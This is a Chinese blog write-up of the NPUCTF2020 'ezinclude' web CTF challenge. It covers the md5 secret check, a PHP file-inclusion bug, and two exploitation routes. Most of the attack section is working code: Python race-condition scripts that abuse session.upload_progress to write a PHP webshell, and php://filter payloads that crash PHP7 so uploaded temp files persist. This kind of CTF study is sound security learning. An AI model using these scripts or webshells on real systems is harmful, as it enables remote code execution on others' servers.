[ctf web][NPUCTF2020]ezinclude + （session对话[session.upload_progress]文件包含 + php7 segment fault特性）

最新推荐文章于 2024-03-18 20:55:10 发布

shu天

最新推荐文章于 2024-03-18 20:55:10 发布

阅读量966

点赞数 5

分类专栏： ctf # web 文章标签： php linux ctf web 文件包含

不允许转载

本文链接：https://blog.csdn.net/weixin_46081055/article/details/120204436

版权

ctf 同时被 2 个专栏收录

85 篇文章 9 订阅

订阅专栏

web

48 篇文章 2 订阅

订阅专栏

知识点

利用session对话[session.upload_progress]进行文件包含

利用session对话session.upload_progress条件竞争将命令写入session文件，然后包含这个session文件，执行php命令
当session.use_strict_mode为on，我们可以自己设置Cookie：PHPSESSID=flag，PHP将会在服务器上创建一个文件：/tmp/sess_flag”。
在Linux系统中，session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

php7 segment fault特性

段错误（segment fault）就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录
向PHP发送含有文件区块的数据包时，让PHP异常崩溃退出，POST的临时文件就会被保留

让PHP异常崩溃的payload：
php < 7.2

php://filter/string.strip_tags/resource=/etc/passwd

php7 老版本通杀

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

wp

[NPUCTF2020]ezinclude

查看源码发现提示
get传$name和$pass，然后发现cookie中有hash
在这里插入图片描述 hash是随着name变化的，猜测hash就是md5($secret.$name)，传参发现有个重定向（如果是在view-source状态下不会重定向过去的）

在这里插入图片描述
flflflflag.php，文件包含

可以用php://filter读源码

/flflflflag.php?file=php://filter/convert.base64-encode/resource=index.php

在这里插入图片描述

1.源码

index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

config.php

<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

过滤了data和input，可能无法直接执行命令了

扫描还可以得到dir.php，显示/tmp底下的文件

<?php
var_dump(scandir('/tmp'));
?>

在这里插入图片描述

2.文件包含

way1 利用session对话[session.upload_progress]进行文件包含

思路：利用session.upload_progress条件竞争将命令写入session文件，然后包含这个session文件，执行php命令，写入一句话木马shell.php

我们可以看到cookie里面没有phpsessid，当session.use_strict_mode为on，我们可以自己设置Cookie：PHPSESSID=flag，PHP将会在服务器上创建一个文件：/tmp/sess_flag”。
在Linux系统中，session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

大佬的脚本：写入shell的python脚本

import io
import sys
import requests
import threading

host = 'http://de198dd7-5ee5-4fae-a188-83bc584d65a9.node4.buuoj.cn:81/flflflflag.php'
sessid = 'vrh'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
        # if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

在这里插入图片描述
蚁剑可以连shell，但flag不在服务器里面，在phpinfo里

way2 利用php7 segment fault特性

向PHP发送含有文件区块的数据包时，让PHP异常崩溃退出，POST的临时文件就会被保留

php < 7.2的payload

php://filter/string.strip_tags/resource=/etc/passwd

写个脚本传文件

import requests

url='http://5ca9dea7-ab1a-4366-b169-d07b563323d0.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
aaa = {
    'file':('aa.php',
    '<?php @eval($_POST[cmd])?>')			
    //get的🐎好像用不了欸，不对，是我get传参的方式错了，应该是?file=xxx&cmd=phpinfo();这样
	}

r = requests.post(url=url,files=aaa)
print(r.text)

在这里插入图片描述
再访问dir会发现多了个文件/tmp/phpqJEtDK（我试了好多遍…）

补个大佬的漂亮脚本，我怎么传文件脚本都写得这么丑

import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

参考链接：
https://blog.csdn.net/rfrder/article/details/114656092
https://guokeya.github.io/post/cbMk6sLKe/

shu天

关注

5
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
[ctf web][NPUCTF2020]ezinclude + （session对话[session.upload_progress]文件包含 + php7 segment fault特性）

知识点利用session对话[session.upload_progress]进行文件包含利用session对话session.upload_progress条件竞争将命令写入session文件，然后包含这个session文件，执行php命令当session.use_strict_mode为on，我们可以自己设置Cookie：PHPSESSID=flag，PHP将会在服务器上创建一个文件：/tmp/sess_flag”。在Linux系统中，session文件一般的默认存储位置为 /tmp 或 /va
复制链接

扫一扫